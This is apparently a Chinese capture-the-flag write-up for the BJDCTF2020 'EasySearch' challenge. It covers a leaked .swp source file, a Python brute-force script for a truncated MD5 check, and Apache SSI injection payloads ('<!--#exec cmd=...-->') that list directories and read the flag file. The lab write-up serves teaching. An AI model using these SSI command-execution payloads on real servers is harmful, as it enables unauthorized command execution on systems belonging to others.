• [BJDCTF2020]EasySearch


    0x00 知识点

    Apache SSI 远程命令执行漏洞
    链接:

    https://www.cnblogs.com/yuzly/p/11226439.html

    当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。

    使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

    敏感文件泄露

    index.php.swp

    0x01 解题

    扫描一下目录,发现.swp备份文件

    <?php
    	ob_start();
    	function get_hash(){
    		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    		$content = uniqid().$random;
    		return sha1($content); 
    	}
        header("Content-Type: text/html;charset=utf-8");
    	***
        if(isset($_POST['username']) and $_POST['username'] != '' )
        {
            $admin = '6d0bc1';
            if ( $admin == substr(md5($_POST['password']),0,6)) {
                echo "<script>alert('[+] Welcome to manage system')</script>";
                $file_shtml = "public/".get_hash().".shtml";
                $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
                $text = '
                ***
                ***
                <h1>Hello,'.$_POST['username'].'</h1>
                ***
    			***';
                fwrite($shtml,$text);
                fclose($shtml);
                ***
    			echo "[!] Header  error ...";
            } else {
                echo "<script>alert('[!] Failed')</script>";
                
        }else
        {
    	***
        }
    	***
    ?>
    
    

    审计一下:

    首先是随机获取文件名的一个函数,最关键的是让password前6个字符的md5加密值等于6d0bc1,然后会在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。

    首先写个脚本让password前6个字符的md5值等于6d0bc1:

    import hashlib
    
    a= "0123456789"
    for o in a:
        for p in a:
            for q in a:
                for r in a:
                    for s in a:
                        for t in a:
                            for u in a:
                                b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
                                md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
                                if ((md5[0:6])=='6d0bc1'):
                                    print b
    

    随便选一个登陆

    看到返回包中会生成一个后缀为.shtml文件,(并将用户名写入文件中)
    还有这个文件的路径
    我们访问

    利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

    <!--#exec cmd="命令"-->
    

    首先ls一下当前目录:

    <!--#exec cmd="ls"-->
    


    flag不在这个目录,我们返回上一个目录看看

    <!--#exec cmd="ls ../"-->
    

    继续构造

    <!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
    

  • 相关阅读:
    2020第29周日
    pytest文档44-allure.dynamic动态生成用例标题
    python笔记46-史上最强大最好用的python日志模块nb_log
    pytest文档43-元数据使用(pytest-metadata)
    pytest文档42-fixture参数化params
    ASP.NET Core WebApi+EF Core入门到实战演练
    SqlParameter中的new SqlParameter("e",0)的陷阱坑,你知道?
    EF Linq中的左连接Left Join查询
    .NET Core EFCore零基础快速入门简单使用
    git报错,远程克隆和更新不下来解决方法
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12354394.html
Copyright © 2020-2023  润新知